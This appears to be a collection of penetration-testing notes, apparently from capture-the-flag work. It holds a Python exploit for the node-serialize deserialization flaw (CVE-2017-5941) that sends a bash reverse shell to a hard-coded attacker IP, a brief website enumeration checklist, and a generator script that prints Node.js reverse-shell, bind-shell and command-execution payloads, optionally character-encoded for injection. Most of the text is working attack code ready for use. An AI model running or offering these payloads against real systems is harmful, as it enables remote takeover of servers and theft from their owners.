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Stefan Friese 2021-10-11 00:20:03 +02:00
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# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941
import requests
import re
import base64
import sys
url = 'http://10.10.216.3/' # change this
payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/10.9.7.193/4448 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")
# rce = "_$$ND_FUNC$$_process.exit(0)"
#code ="_$$ND_FUNC$$_console.log('behind you')"
#code = "_$$ND_FUNC$$_" + "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}"
#code = "_$$ND_FUNC$$_" + payload
code = "_$$ND_FUNC$$_console.log(1)()"
#code = "_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });()"
#string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'
#code = "return function(){exec('bash -i >& /dev/tcp/10.9.7.193/4448 0>&1')}();" # change this
code = "return function(){exec('bash -i >& /dev/tcp/10.9.7.193/4448 0>&1')}()&#x3b;"
string = '{"email": "'+code+'"}'
print code
cookie = {'session':base64.b64encode(string)}
response = requests.post(url+"?email="+code).text
print response
#try:
# response = requests.get(url, cookies=cookie).text
# print response
#except requests.exceptions.RequestException as e:
# print('Oops!')
# sys.exit(1)

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# Website Enumeration
* `robots.txt`
* [Favicon](https://wiki.owasp.org/index.php/OWASP_favicon_database), `curl` target and `md5sum`
* `sitemap.xml`
* Headers, `curl <site>` including `-I` or `-v` parameters
* Check Components of the website, like blog frameworks, shops.
* User Wappalyzer
* Snapshots of the site via waybackmachine
* Check repos of the site
* Check buckets
* Fuzz

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#!/usr/bin/python
# Author: Hd7exploit
# hd7exploit.wordpress.com
# Based on https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
import getopt, sys
def usage():
print '''
Usage: %s <TYPE> <HOST> <PORT> <ENCODE>
Help:
-c : Run some linux commands (ls,cat...)
-r : Get payload reverse shell
-b : Get payload bind shell
-h : IP address in case of reverse shell
-p : Port
-e : Encode shell
-o : Create a object contain payload with Immediately invoked function expression (IIFE)
''' % (sys.argv[0])
try:
opts, args = getopt.getopt(sys.argv[1:], "c:h:rbp:eo", ["help"])
if not opts:
usage()
sys.exit()
except getopt.GetoptError:
usage()
sys.exit(2)
type = host = port = command = ""
encode = False
object = False
for o, a in opts:
if o == "-r":
type = 'REVERSE'
if o == "-b":
type = 'BIND'
if o == "-h":
host = a
if o == "-o":
object = True
if o == "-p":
port = a
if o == "-c":
type = 'COMMAND'
command = a
if o == "-e":
encode = True
if o == "--help":
usage()
sys.exit()
def get_reverse_shell():
return '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
''' % (host, port)
def get_bind_shell():
return '''
var net = require('net');
var spawn = require('child_process').spawn;
PORT="%s";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
var server = net.createServer(function (c) {
var sh = spawn('/bin/sh', ['-i']);
c.pipe(sh.stdin);
sh.stdout.pipe(c);
sh.stderr.pipe(c);
});
server.listen(PORT);
''' % (port)
def get_command(command):
return '''
require('child_process').exec('%s', function(error, stdout, stderr) {
console.log(error)
console.log(stdout)
})
''' % (command)
def encode_string(string):
string_encoded = ''
for char in string:
string_encoded += "," + str(ord(char))
return string_encoded[1:]
payload = ""
if type == 'BIND':
payload = get_bind_shell()
elif type == 'REVERSE':
payload = get_reverse_shell()
else:
payload = get_command(command);
if encode:
payload = encode_string(payload)
if object:
payload = '''
{"run": "_$$ND_FUNC$$_function (){eval(String.fromCharCode(%s))}()"}
''' % (payload)
print '''
=======> Happy hacking <======
'''
print payload